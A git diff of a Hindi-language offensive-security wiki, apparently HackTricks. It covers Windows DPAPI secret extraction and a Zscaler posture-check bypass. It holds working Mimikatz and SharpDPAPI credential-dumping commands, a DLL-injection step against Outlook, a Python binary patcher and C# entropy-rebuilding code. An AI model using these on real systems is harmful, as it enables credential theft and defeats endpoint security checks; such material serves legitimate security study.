| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | हमेशा `1` लौटाता है ताकि हर जांच अनुपालन में हो |
|
||||
| `ZSAService.exe` | `WinVerifyTrust` के लिए अप्रत्यक्ष कॉल | NOP-ed ⇒ कोई भी (यहां तक कि असाइन किया गया) प्रक्रिया RPC पाइप्स से बंध सकती है |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret` द्वारा प्रतिस्थापित |
|
||||
| `ZSATunnel.exe` | टनल पर अखंडता जांच | शॉर्ट-सर्किट किया गया |
|
||||
|
||||
न्यूनतम पैचर अंश:
|
||||
```python
|
||||
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
|
||||
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
|
||||
|
||||
with open("ZSATrayManager.exe", "r+b") as f:
|
||||
data = f.read()
|
||||
off = data.find(pattern)
|
||||
if off == -1:
|
||||
print("pattern not found")
|
||||
else:
|
||||
f.seek(off)
|
||||
f.write(replacement)
|
||||
```
|
||||
अपने मूल फ़ाइलों को बदलने और सेवा स्टैक को पुनः प्रारंभ करने के बाद:
|
||||
|
||||
* **सभी** स्थिति जांच **हरा/अनुपालन** प्रदर्शित करती हैं।
|
||||
* बिना हस्ताक्षर या संशोधित बाइनरी नामित-पाइप RPC एंडपॉइंट्स (जैसे `\\RPC Control\\ZSATrayManager_talk_to_me`) को खोल सकती हैं।
|
||||
* समझौता किया गया होस्ट Zscaler नीतियों द्वारा परिभाषित आंतरिक नेटवर्क तक बिना किसी प्रतिबंध के पहुंच प्राप्त करता है।
|
||||
|
||||
यह केस स्टडी दिखाती है कि कैसे पूरी तरह से क्लाइंट-साइड ट्रस्ट निर्णय और सरल सिग्नेचर जांच को कुछ बाइट पैच के साथ पराजित किया जा सकता है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
|
||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,31 +4,31 @@
|
||||
|
||||
## DPAPI क्या है
|
||||
|
||||
डेटा प्रोटेक्शन एपीआई (DPAPI) मुख्य रूप से Windows ऑपरेटिंग सिस्टम के भीतर **असामान्य निजी कुंजियों के सममित एन्क्रिप्शन** के लिए उपयोग किया जाता है, जो उपयोगकर्ता या सिस्टम रहस्यों को महत्वपूर्ण एंट्रॉपी के स्रोत के रूप में उपयोग करता है। यह दृष्टिकोण डेवलपर्स के लिए एन्क्रिप्शन को सरल बनाता है, जिससे वे उपयोगकर्ता के लॉगिन रहस्यों से निकाली गई कुंजी का उपयोग करके डेटा को एन्क्रिप्ट कर सकते हैं या, सिस्टम एन्क्रिप्शन के लिए, सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग कर सकते हैं, इस प्रकार डेवलपर्स को एन्क्रिप्शन कुंजी की सुरक्षा का प्रबंधन करने की आवश्यकता को समाप्त कर देता है।
|
||||
डेटा प्रोटेक्शन एपीआई (DPAPI) मुख्य रूप से विंडोज ऑपरेटिंग सिस्टम के भीतर **असामान्य निजी कुंजियों के सममित एन्क्रिप्शन** के लिए उपयोग किया जाता है, जो उपयोगकर्ता या सिस्टम रहस्यों को महत्वपूर्ण एंट्रॉपी के स्रोत के रूप में उपयोग करता है। यह दृष्टिकोण डेवलपर्स के लिए एन्क्रिप्शन को सरल बनाता है, जिससे वे उपयोगकर्ता के लॉगिन रहस्यों से निकाली गई कुंजी का उपयोग करके डेटा को एन्क्रिप्ट कर सकते हैं या, सिस्टम एन्क्रिप्शन के लिए, सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग कर सकते हैं, इस प्रकार डेवलपर्स को एन्क्रिप्शन कुंजी की सुरक्षा प्रबंधित करने की आवश्यकता को समाप्त कर देता है।
|
||||
|
||||
DPAPI का उपयोग करने का सबसे सामान्य तरीका **`CryptProtectData` और `CryptUnprotectData`** फ़ंक्शंस के माध्यम से है, जो अनुप्रयोगों को वर्तमान में लॉग इन किए गए प्रक्रिया के सत्र के साथ डेटा को सुरक्षित रूप से एन्क्रिप्ट और डिक्रिप्ट करने की अनुमति देते हैं। इसका मतलब है कि एन्क्रिप्ट किया गया डेटा केवल उसी उपयोगकर्ता या सिस्टम द्वारा डिक्रिप्ट किया जा सकता है जिसने इसे एन्क्रिप्ट किया था।
|
||||
|
||||
इसके अलावा, ये फ़ंक्शंस एक **`entropy` पैरामीटर** को भी स्वीकार करते हैं, जिसका उपयोग एन्क्रिप्शन और डिक्रिप्शन के दौरान किया जाएगा, इसलिए, इस पैरामीटर का उपयोग करके एन्क्रिप्ट की गई किसी चीज़ को डिक्रिप्ट करने के लिए, आपको वही एंट्रॉपी मान प्रदान करना होगा जो एन्क्रिप्शन के दौरान उपयोग किया गया था।
|
||||
|
||||
### उपयोगकर्ता कुंजी निर्माण
|
||||
### उपयोगकर्ताओं की कुंजी उत्पन्न करना
|
||||
|
||||
DPAPI प्रत्येक उपयोगकर्ता के लिए उनके क्रेडेंशियल्स के आधार पर एक अद्वितीय कुंजी (जिसे **`pre-key`** कहा जाता है) उत्पन्न करता है। यह कुंजी उपयोगकर्ता के पासवर्ड और अन्य कारकों से निकाली जाती है और एल्गोरिदम उपयोगकर्ता के प्रकार पर निर्भर करता है लेकिन अंततः SHA1 बनता है। उदाहरण के लिए, डोमेन उपयोगकर्ताओं के लिए, **यह उपयोगकर्ता के HTLM हैश पर निर्भर करता है**।
|
||||
DPAPI प्रत्येक उपयोगकर्ता के लिए उनके क्रेडेंशियल्स के आधार पर एक अद्वितीय कुंजी (जिसे **`pre-key`** कहा जाता है) उत्पन्न करता है। यह कुंजी उपयोगकर्ता के पासवर्ड और अन्य कारकों से निकाली जाती है और एल्गोरिदम उपयोगकर्ता के प्रकार पर निर्भर करता है लेकिन अंततः एक SHA1 बनता है। उदाहरण के लिए, डोमेन उपयोगकर्ताओं के लिए, **यह उपयोगकर्ता के HTLM हैश पर निर्भर करता है**।
|
||||
|
||||
यह विशेष रूप से दिलचस्प है क्योंकि यदि एक हमलावर उपयोगकर्ता के पासवर्ड हैश को प्राप्त कर सकता है, तो वे:
|
||||
|
||||
- **DPAPI का उपयोग करके एन्क्रिप्ट किए गए किसी भी डेटा को डिक्रिप्ट कर सकते हैं** उस उपयोगकर्ता की कुंजी के साथ बिना किसी API से संपर्क किए
|
||||
- **पासवर्ड को क्रैक करने** की कोशिश कर सकते हैं ऑफ़लाइन सही DPAPI कुंजी उत्पन्न करने की कोशिश करते हुए
|
||||
- **पासवर्ड को क्रैक करने** की कोशिश कर सकते हैं ऑफलाइन सही DPAPI कुंजी उत्पन्न करने की कोशिश करते हुए
|
||||
|
||||
इसके अलावा, हर बार जब कोई डेटा DPAPI का उपयोग करके एक उपयोगकर्ता द्वारा एन्क्रिप्ट किया जाता है, तो एक नया **मास्टर कुंजी** उत्पन्न होता है। यह मास्टर कुंजी वास्तव में डेटा को एन्क्रिप्ट करने के लिए उपयोग की जाती है। प्रत्येक मास्टर कुंजी को एक **GUID** (ग्लोबली यूनिक आइडेंटिफायर) दिया जाता है जो इसे पहचानता है।
|
||||
|
||||
मास्टर कुंजियाँ **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** निर्देशिका में संग्रहीत होती हैं, जहाँ `{SID}` उस उपयोगकर्ता का सुरक्षा पहचानकर्ता है। मास्टर कुंजी उपयोगकर्ता के **`pre-key`** द्वारा एन्क्रिप्ट की गई है और पुनर्प्राप्ति के लिए एक **डोमेन बैकअप कुंजी** द्वारा भी (इसलिए वही कुंजी 2 अलग-अलग पास द्वारा 2 बार एन्क्रिप्ट की गई है)।
|
||||
|
||||
ध्यान दें कि **मास्टर कुंजी को एन्क्रिप्ट करने के लिए उपयोग की जाने वाली डोमेन कुंजी डोमेन नियंत्रकों में होती है और कभी नहीं बदलती**, इसलिए यदि एक हमलावर के पास डोमेन नियंत्रक तक पहुंच है, तो वे डोमेन बैकअप कुंजी को पुनर्प्राप्त कर सकते हैं और डोमेन में सभी उपयोगकर्ताओं की मास्टर कुंजियों को डिक्रिप्ट कर सकते हैं।
|
||||
ध्यान दें कि **मास्टर कुंजी को एन्क्रिप्ट करने के लिए उपयोग की जाने वाली डोमेन कुंजी डोमेन नियंत्रकों में होती है और कभी नहीं बदलती**, इसलिए यदि एक हमलावर के पास डोमेन नियंत्रक तक पहुंच है, तो वे डोमेन बैकअप कुंजी प्राप्त कर सकते हैं और डोमेन में सभी उपयोगकर्ताओं की मास्टर कुंजियों को डिक्रिप्ट कर सकते हैं।
|
||||
|
||||
एन्क्रिप्टेड ब्लॉब में **मास्टर कुंजी का GUID** होता है जो डेटा को एन्क्रिप्ट करने के लिए उपयोग किया गया था, इसके हेडर में।
|
||||
एन्क्रिप्टेड ब्लॉब्स में **मास्टर कुंजी का GUID** होता है जो डेटा को एन्क्रिप्ट करने के लिए उपयोग किया गया था, इसके हेडर में।
|
||||
|
||||
> [!TIP]
|
||||
> DPAPI एन्क्रिप्टेड ब्लॉब **`01 00 00 00`** से शुरू होते हैं
|
||||
> DPAPI एन्क्रिप्टेड ब्लॉब्स **`01 00 00 00`** से शुरू होते हैं
|
||||
|
||||
मास्टर कुंजियाँ खोजें:
|
||||
```bash
|
||||
@ -47,9 +47,9 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
|
||||
|
||||
यह कुंजी मशीन द्वारा डेटा को एन्क्रिप्ट करने के लिए उपयोग की जाती है। यह **DPAPI_SYSTEM LSA रहस्य** पर आधारित है, जो एक विशेष कुंजी है जिसे केवल SYSTEM उपयोगकर्ता ही एक्सेस कर सकता है। इस कुंजी का उपयोग उस डेटा को एन्क्रिप्ट करने के लिए किया जाता है जिसे सिस्टम स्वयं द्वारा एक्सेस किया जाना आवश्यक है, जैसे मशीन-स्तरीय क्रेडेंशियल या सिस्टम-व्यापी रहस्य।
|
||||
|
||||
ध्यान दें कि ये कुंजियाँ **डोमेन बैकअप** नहीं रखती हैं इसलिए ये केवल स्थानीय रूप से उपलब्ध हैं:
|
||||
ध्यान दें कि ये कुंजियाँ **डोमेन बैकअप नहीं रखतीं** इसलिए ये केवल स्थानीय रूप से उपलब्ध हैं:
|
||||
|
||||
- **Mimikatz** इसे LSA रहस्यों को डंप करके एक्सेस कर सकता है, कमांड का उपयोग करते हुए: `mimikatz lsadump::secrets`
|
||||
- **Mimikatz** इसे LSA रहस्यों को डंप करने के लिए कमांड का उपयोग करके एक्सेस कर सकता है: `mimikatz lsadump::secrets`
|
||||
- रहस्य रजिस्ट्री के अंदर संग्रहीत है, इसलिए एक व्यवस्थापक **इस तक पहुँचने के लिए DACL अनुमतियों को संशोधित कर सकता है**। रजिस्ट्री पथ है: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
|
||||
|
||||
### DPAPI द्वारा संरक्षित डेटा
|
||||
@ -85,7 +85,7 @@ SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
|
||||
# Mimikatz
|
||||
mimikatz sekurlsa::dpapi
|
||||
```
|
||||
- यदि उपयोगकर्ता के पास स्थानीय प्रशासनिक विशेषताएँ हैं, तो वे मशीन मास्टर कुंजियों को डिक्रिप्ट करने के लिए **DPAPI_SYSTEM LSA रहस्य** तक पहुँच सकते हैं:
|
||||
- यदि उपयोगकर्ता के पास स्थानीय प्रशासनिक विशेषताएँ हैं, तो वे मशीन मास्टर कुंजियों को डिक्रिप्ट करने के लिए **DPAPI_SYSTEM LSA सीक्रेट** तक पहुँच सकते हैं:
|
||||
```bash
|
||||
# Mimikatz
|
||||
lsadump::secrets /system:DPAPI_SYSTEM /export
|
||||
@ -98,7 +98,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe masterkeys /password:PASSWORD
|
||||
```
|
||||
- यदि आप एक सत्र के अंदर उपयोगकर्ता के रूप में हैं, तो **RPC का उपयोग करके मास्टर कुंजियों को डिक्रिप्ट करने के लिए DC से बैकअप कुंजी मांगना संभव है**। यदि आप स्थानीय प्रशासक हैं और उपयोगकर्ता लॉग इन है, तो आप इसके लिए **उसका सत्र टोकन चुरा सकते हैं**:
|
||||
- यदि आप एक सत्र के अंदर उपयोगकर्ता के रूप में हैं, तो आप DC से **मास्टर कुंजियों को डिक्रिप्ट करने के लिए बैकअप कुंजी** मांग सकते हैं। यदि आप स्थानीय प्रशासक हैं और उपयोगकर्ता लॉग इन है, तो आप इसके लिए **उसका सत्र टोकन चुरा सकते हैं**:
|
||||
```bash
|
||||
# Mimikatz
|
||||
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
|
||||
@ -114,18 +114,18 @@ vaultcmd /listcreds:"Windows Credentials" /all
|
||||
# From mimikatz
|
||||
mimikatz vault::list
|
||||
```
|
||||
## Access DPAPI Encrypted Data
|
||||
## DPAPI एन्क्रिप्टेड डेटा तक पहुँचें
|
||||
|
||||
### Find DPAPI Encrypted data
|
||||
### DPAPI एन्क्रिप्टेड डेटा खोजें
|
||||
|
||||
सामान्य उपयोगकर्ताओं के **संरक्षित फ़ाइलें** निम्नलिखित स्थानों पर होती हैं:
|
||||
सामान्य उपयोगकर्ताओं **द्वारा संरक्षित फ़ाइलें** यहाँ हैं:
|
||||
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
|
||||
- ऊपर दिए गए पथों में `\Roaming\` को `\Local\` में बदलकर भी जांचें।
|
||||
|
||||
Enumeration examples:
|
||||
गणना के उदाहरण:
|
||||
```bash
|
||||
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
@ -147,7 +147,7 @@ search /type:file /path:C:\path\to\file
|
||||
# Search a blob inside B64 encoded data
|
||||
search /type:base64 [/base:<base64 string>]
|
||||
```
|
||||
ध्यान दें कि [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (उसी रिपॉजिटरी से) का उपयोग DPAPI का उपयोग करके कुकीज़ जैसी संवेदनशील डेटा को डिक्रिप्ट करने के लिए किया जा सकता है।
|
||||
ध्यान दें कि [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (एक ही रिपॉजिटरी से) का उपयोग DPAPI का उपयोग करके कुकीज़ जैसी संवेदनशील डेटा को डिक्रिप्ट करने के लिए किया जा सकता है।
|
||||
|
||||
### एक्सेस कुंजी और डेटा
|
||||
|
||||
@ -170,7 +170,7 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
|
||||
pbData : b8f619[...snip...]b493fe
|
||||
[..]
|
||||
```
|
||||
- **मास्टरकी तक पहुँचें**:
|
||||
- **मास्टरकी तक पहुँच**:
|
||||
|
||||
RPC का उपयोग करके **डोमेन बैकअप कुंजी** का अनुरोध करने वाले उपयोगकर्ता की मास्टरकी को डिक्रिप्ट करें:
|
||||
```bash
|
||||
@ -200,7 +200,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
|
||||
```
|
||||
**SharpDPAPI** टूल `credentials|vaults|rdg|keepass|triage|blob|ps` डिक्रिप्शन के लिए इन तर्कों का भी समर्थन करता है (ध्यान दें कि यह `/rpc` का उपयोग करके डोमेन बैकअप कुंजी प्राप्त करना, `/password` का उपयोग करके एक प्लेनटेक्स्ट पासवर्ड का उपयोग करना, `/pvk` का उपयोग करके एक DPAPI डोमेन प्राइवेट की फ़ाइल निर्दिष्ट करना, `/unprotect` का उपयोग करके वर्तमान उपयोगकर्ताओं के सत्र का उपयोग करना संभव है...)
|
||||
**SharpDPAPI** टूल `credentials|vaults|rdg|keepass|triage|blob|ps` डिक्रिप्शन के लिए इन तर्कों का भी समर्थन करता है (ध्यान दें कि यह `/rpc` का उपयोग करके डोमेन बैकअप कुंजी प्राप्त करना, `/password` का उपयोग करके एक प्लेनटेक्स्ट पासवर्ड का उपयोग करना, `/pvk` का उपयोग करके एक DPAPI डोमेन प्राइवेट की फ़ाइल निर्दिष्ट करना, `/unprotect` का उपयोग करके वर्तमान उपयोगकर्ताओं के सत्र का उपयोग करना संभव है...):
|
||||
```
|
||||
Decryption:
|
||||
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
|
||||
@ -230,9 +230,9 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
|
||||
---
|
||||
### वैकल्पिक एंट्रॉपी ("तीसरे पक्ष की एंट्रॉपी")
|
||||
|
||||
कुछ अनुप्रयोग `CryptProtectData` को एक अतिरिक्त **एंट्रॉपी** मान पास करते हैं। इस मान के बिना, ब्लॉब को डिक्रिप्ट नहीं किया जा सकता, भले ही सही मास्टरकी ज्ञात हो। इस प्रकार से संरक्षित क्रेडेंशियल्स को लक्षित करते समय एंट्रॉपी प्राप्त करना आवश्यक है (जैसे Microsoft Outlook, कुछ VPN क्लाइंट)।
|
||||
कुछ एप्लिकेशन `CryptProtectData` को एक अतिरिक्त **एंट्रॉपी** मान पास करते हैं। इस मान के बिना, ब्लॉब को डिक्रिप्ट नहीं किया जा सकता, भले ही सही मास्टरकी ज्ञात हो। इस प्रकार से सुरक्षित क्रेडेंशियल्स को लक्षित करते समय एंट्रॉपी प्राप्त करना आवश्यक है (जैसे Microsoft Outlook, कुछ VPN क्लाइंट)।
|
||||
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) एक उपयोगकर्ता-मोड DLL है जो लक्षित प्रक्रिया के भीतर DPAPI कार्यों को हुक करता है और किसी भी वैकल्पिक एंट्रॉपी को पारदर्शी रूप से रिकॉर्ड करता है जो प्रदान की जाती है। `outlook.exe` या `vpnclient.exe` जैसी प्रक्रियाओं के खिलाफ **DLL-injection** मोड में EntropyCapture चलाने से एक फ़ाइल उत्पन्न होगी जो प्रत्येक एंट्रॉपी बफर को कॉल करने वाली प्रक्रिया और ब्लॉब से मैप करती है। कैप्चर की गई एंट्रॉपी को बाद में **SharpDPAPI** (`/entropy:`) या **Mimikatz** (`/entropy:<file>`) को डेटा को डिक्रिप्ट करने के लिए प्रदान किया जा सकता है।
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) एक उपयोगकर्ता-मोड DLL है जो लक्षित प्रक्रिया के अंदर DPAPI कार्यों को हुक करता है और किसी भी वैकल्पिक एंट्रॉपी को पारदर्शी रूप से रिकॉर्ड करता है जो प्रदान की जाती है। `outlook.exe` या `vpnclient.exe` जैसी प्रक्रियाओं के खिलाफ **DLL-injection** मोड में EntropyCapture चलाने से एक फ़ाइल उत्पन्न होगी जो प्रत्येक एंट्रॉपी बफर को कॉल करने वाली प्रक्रिया और ब्लॉब से मैप करती है। कैप्चर की गई एंट्रॉपी को बाद में **SharpDPAPI** (`/entropy:`) या **Mimikatz** (`/entropy:<file>`) को डेटा को डिक्रिप्ट करने के लिए प्रदान किया जा सकता है।
|
||||
```powershell
|
||||
# Inject EntropyCapture into the current user's Outlook
|
||||
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||||
@ -242,7 +242,7 @@ SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
|
||||
```
|
||||
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
|
||||
|
||||
Microsoft ने Windows 10 v1607 (2016) से **context 3** masterkey प्रारूप पेश किया। `hashcat` v6.2.6 (दिसंबर 2023) ने हैश-मोड **22100** (DPAPI masterkey v1 context), **22101** (context 1) और **22102** (context 3) जोड़े, जो उपयोगकर्ता पासवर्ड को सीधे masterkey फ़ाइल से GPU-त्वरित क्रैकिंग की अनुमति देते हैं। इसलिए हमलावर शब्द-सूची या ब्रूट-फोर्स हमले कर सकते हैं बिना लक्ष्य प्रणाली के साथ इंटरैक्ट किए।
|
||||
Microsoft ने Windows 10 v1607 (2016) से **context 3** masterkey प्रारूप पेश किया। `hashcat` v6.2.6 (दिसंबर 2023) ने हैश-मोड **22100** (DPAPI masterkey v1 context), **22101** (context 1) और **22102** (context 3) जोड़े, जिससे उपयोगकर्ता पासवर्ड को सीधे masterkey फ़ाइल से GPU-त्वरित क्रैकिंग की अनुमति मिलती है। इसलिए हमलावर शब्द-सूची या ब्रूट-फोर्स हमले कर सकते हैं बिना लक्ष्य प्रणाली के साथ इंटरैक्ट किए।
|
||||
|
||||
`DPAPISnoop` (2024) इस प्रक्रिया को स्वचालित करता है:
|
||||
```bash
|
||||
@ -274,7 +274,7 @@ LDAP से निकाले गए कंप्यूटरों की स
|
||||
[**DonPAPI**](https://github.com/login-securite/DonPAPI) स्वचालित रूप से DPAPI द्वारा संरक्षित रहस्यों को डंप कर सकता है। 2.x रिलीज़ में शामिल हैं:
|
||||
|
||||
* सैकड़ों होस्ट से ब्लॉब्स का समानांतर संग्रह
|
||||
* **context 3** मास्टरकीज़ का पार्सिंग और स्वचालित Hashcat क्रैकिंग एकीकरण
|
||||
* **संदर्भ 3** मास्टरकी का पार्सिंग और स्वचालित Hashcat क्रैकिंग एकीकरण
|
||||
* Chrome "App-Bound" एन्क्रिप्टेड कुकीज़ के लिए समर्थन (अगले अनुभाग को देखें)
|
||||
* एक नया **`--snapshot`** मोड जो बार-बार एंडपॉइंट्स को पोल करता है और नए बनाए गए ब्लॉब्स का अंतर करता है
|
||||
|
||||
@ -286,17 +286,53 @@ LDAP से निकाले गए कंप्यूटरों की स
|
||||
|
||||
- `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` और अन्य DPAPI-संबंधित निर्देशिकाओं में फ़ाइलों तक पहुँच।
|
||||
- विशेष रूप से **C$** या **ADMIN$** जैसे नेटवर्क शेयर से।
|
||||
- LSASS मेमोरी तक पहुँचने या मास्टरकीज़ को डंप करने के लिए **Mimikatz**, **SharpDPAPI** या समान उपकरणों का उपयोग।
|
||||
- LSASS मेमोरी तक पहुँचने या मास्टरकी को डंप करने के लिए **Mimikatz**, **SharpDPAPI** या समान उपकरणों का उपयोग।
|
||||
- इवेंट **4662**: *एक वस्तु पर एक ऑपरेशन किया गया था* – इसे **`BCKUPKEY`** वस्तु तक पहुँच के साथ सहसंबंधित किया जा सकता है।
|
||||
- इवेंट **4673/4674** जब एक प्रक्रिया *SeTrustedCredManAccessPrivilege* (क्रेडेंशियल प्रबंधक) का अनुरोध करती है।
|
||||
|
||||
---
|
||||
### 2023-2025 कमजोरियाँ और पारिस्थितिकी तंत्र में परिवर्तन
|
||||
|
||||
* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (नवंबर 2023)। एक हमलावर जिसके पास नेटवर्क पहुँच है, एक डोमेन सदस्य को एक दुर्भावनापूर्ण DPAPI बैकअप कुंजी प्राप्त करने के लिए धोखा दे सकता है, जिससे उपयोगकर्ता मास्टरकीज़ का डिक्रिप्शन संभव हो जाता है। नवंबर 2023 के संचयी अपडेट में पैच किया गया – प्रशासकों को सुनिश्चित करना चाहिए कि DCs और कार्यस्थानों को पूरी तरह से पैच किया गया है।
|
||||
* **Chrome 127 “App-Bound” कुकी एन्क्रिप्शन** (जुलाई 2024) ने विरासती DPAPI-केवल सुरक्षा को एक अतिरिक्त कुंजी के साथ बदल दिया जो उपयोगकर्ता के **क्रेडेंशियल प्रबंधक** के तहत संग्रहीत होती है। कुकीज़ का ऑफ़लाइन डिक्रिप्शन अब DPAPI मास्टरकी और **GCM-लिपटे ऐप-बाउंड कुंजी** दोनों की आवश्यकता होती है। SharpChrome v2.3 और DonPAPI 2.x उपयोगकर्ता संदर्भ के साथ चलने पर अतिरिक्त कुंजी को पुनः प्राप्त करने में सक्षम हैं।
|
||||
* **CVE-2023-36004 – Windows DPAPI सुरक्षित चैनल धोखाधड़ी** (नवंबर 2023)। एक हमलावर जिसके पास नेटवर्क पहुँच है, एक डोमेन सदस्य को एक दुर्भावनापूर्ण DPAPI बैकअप कुंजी प्राप्त करने के लिए धोखा दे सकता है, जिससे उपयोगकर्ता मास्टरकी का डिक्रिप्शन संभव हो जाता है। नवंबर 2023 के संचयी अपडेट में पैच किया गया – प्रशासकों को सुनिश्चित करना चाहिए कि DCs और कार्यस्थानों को पूरी तरह से पैच किया गया है।
|
||||
* **Chrome 127 “App-Bound” कुकी एन्क्रिप्शन** (जुलाई 2024) ने पुराने DPAPI-केवल सुरक्षा को एक अतिरिक्त कुंजी के साथ बदल दिया जो उपयोगकर्ता के **क्रेडेंशियल प्रबंधक** के तहत संग्रहीत होती है। कुकीज़ का ऑफ़लाइन डिक्रिप्शन अब DPAPI मास्टरकी और **GCM-लिपटे ऐप-बाउंड कुंजी** दोनों की आवश्यकता होती है। SharpChrome v2.3 और DonPAPI 2.x उपयोगकर्ता संदर्भ के साथ चलने पर अतिरिक्त कुंजी को पुनः प्राप्त करने में सक्षम हैं।
|
||||
|
||||
## संदर्भ
|
||||
### केस स्टडी: Zscaler Client Connector – SID से व्युत्पन्न कस्टम एंट्रॉपी
|
||||
|
||||
Zscaler Client Connector कई कॉन्फ़िगरेशन फ़ाइलों को `C:\ProgramData\Zscaler` के तहत संग्रहीत करता है (जैसे `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`)। प्रत्येक फ़ाइल **DPAPI (मशीन स्कोप)** के साथ एन्क्रिप्ट की गई है लेकिन विक्रेता **कस्टम एंट्रॉपी** प्रदान करता है जो *रनटाइम पर गणना की जाती है* बजाय इसके कि इसे डिस्क पर संग्रहीत किया जाए।
|
||||
|
||||
एंट्रॉपी दो तत्वों से पुनर्निर्मित की जाती है:
|
||||
|
||||
1. `ZSACredentialProvider.dll` के अंदर एम्बेडेड एक हार्ड-कोडेड रहस्य।
|
||||
2. Windows खाते का **SID** जिस पर कॉन्फ़िगरेशन संबंधित है।
|
||||
|
||||
DLL द्वारा कार्यान्वित एल्गोरिदम के बराबर है:
|
||||
```csharp
|
||||
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
|
||||
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
|
||||
|
||||
// XOR the two buffers byte-by-byte
|
||||
byte[] tmp = new byte[secret.Length];
|
||||
for (int i = 0; i < secret.Length; i++)
|
||||
tmp[i] = (byte)(sid[i] ^ secret[i]);
|
||||
|
||||
// Split in half and XOR both halves together to create the final entropy buffer
|
||||
byte[] entropy = new byte[tmp.Length / 2];
|
||||
for (int i = 0; i < entropy.Length; i++)
|
||||
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
|
||||
```
|
||||
क्योंकि रहस्य एक DLL में निहित है जिसे डिस्क से पढ़ा जा सकता है, **कोई भी स्थानीय हमलावर जिसके पास SYSTEM अधिकार हैं, किसी भी SID के लिए एंट्रॉपी को फिर से उत्पन्न कर सकता है** और ऑफ़लाइन ब्लॉब्स को डिक्रिप्ट कर सकता है:
|
||||
```csharp
|
||||
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
|
||||
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
|
||||
Console.WriteLine(Encoding.UTF8.GetString(clear));
|
||||
```
|
||||
डिक्रिप्शन पूर्ण JSON कॉन्फ़िगरेशन प्रदान करता है, जिसमें प्रत्येक **डिवाइस पोस्टर चेक** और इसका अपेक्षित मान शामिल है - यह जानकारी क्लाइंट-साइड बायपास करने के प्रयास में बहुत मूल्यवान है।
|
||||
|
||||
> TIP: अन्य एन्क्रिप्टेड आर्टिफैक्ट्स (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) DPAPI के साथ **बिना** एंट्रॉपी (`16` जीरो बाइट्स) से सुरक्षित हैं। इसलिए, SYSTEM विशेषाधिकार प्राप्त होने पर इन्हें सीधे `ProtectedData.Unprotect` के साथ डिक्रिप्ट किया जा सकता है।
|
||||
|
||||
## References
|
||||
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
|
||||
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
|
||||
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
|
||||
|
Loading…
x
Reference in New Issue
Block a user